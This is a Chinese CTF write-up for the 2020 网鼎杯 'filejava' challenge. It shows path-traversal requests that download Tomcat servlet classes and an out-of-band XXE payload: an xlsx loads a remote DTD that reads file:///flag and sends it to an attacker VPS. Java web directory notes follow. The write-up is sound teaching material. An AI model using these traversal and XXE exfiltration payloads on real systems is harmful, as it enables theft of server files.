[网鼎杯 2020 青龙组]filejava

上传文件时抓一下包,发现文件包含漏洞,而且泄露了tomcat的绝对路径。
那接下来就应该查看web.xml了

usr/local/tomcat/webapps/file_in_java/WEB-INF/web.xml

通过配置文件下载class文件

DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/UploadServlet.class

下载下来的文件用jd-gui-1.6.6.jar反编译一下
DownloadServlet中限制了直接下载flag,但是UploadServlet.java有对excel-***.xlsx文件的判断,那可能就是这个漏洞了。
然后就新建xlsx,用zip打开并修改内容,再上传

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://远程服务器IP/file.dtd">
%remote;%int;%send;
]>

关于三个变量的问题,引用自BTIS师傅

我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 BTIS.dtd ,有点类似于将 BTIS.dtd 包含进来,然后 %int 调用 BTIS.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。

而在我们的vps也需要有file.dtd

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://0.0.0.0:7777?popko=%file;'>">

在我们的vps监听就好了。
这里补充一点javaweb的基础知识

(1)Java Resources
    src:用来存放Java源文件。
    Libraries:存放的是Tomcat及JRE中的jar包。

(2)build:自动编译.java文件的目录。

(3)WebContent(WebRoot):是这个Web应用的顶层目录,也称为文档根目录,由一下部分组成。

    META-INF:系统自动生成,存放系统描述信息。

    静态文件:包括所有的HTML网页、CSS文件、图像文件等。一般按功能已文件夹形式分类,例如,图像文件集中存储在images目录中。

    JSP文件:利用JSP可以很方便地在页面中生成动态的内容,使Web应用可以输出动态页面。

    WEB-INF:该目录存在于文档根目录下。但是,该目录不能被引用,也就是说,该目录下存放的文件无法对外发布,当然就无法被用户访问到了。WEB-INF目录由以下几部分组成。

    classes:存放Java字节码文件的目录。

    lib:用于存放该工程用到的库。它包含Web应用所需要的.jar或者.zip文件,例如:mysql-connector-java-8.0.14.jar(MySQL数据库的驱动程序)

    web.xml:应用程序的部署描述符,web工程的配置文件,完成用户请求的逻辑名称到真正的servlet类的映射。Web应用的初始化配置文件,非常重要,不要将其删除或者随意修改。

凡是客户端能访问的资源(html或.jpg)必须跟WEB-INF在同一目录,即放在Web根目录下的资源,从客户端是可以通过URL地址直接访问的。

标签: none

添加新评论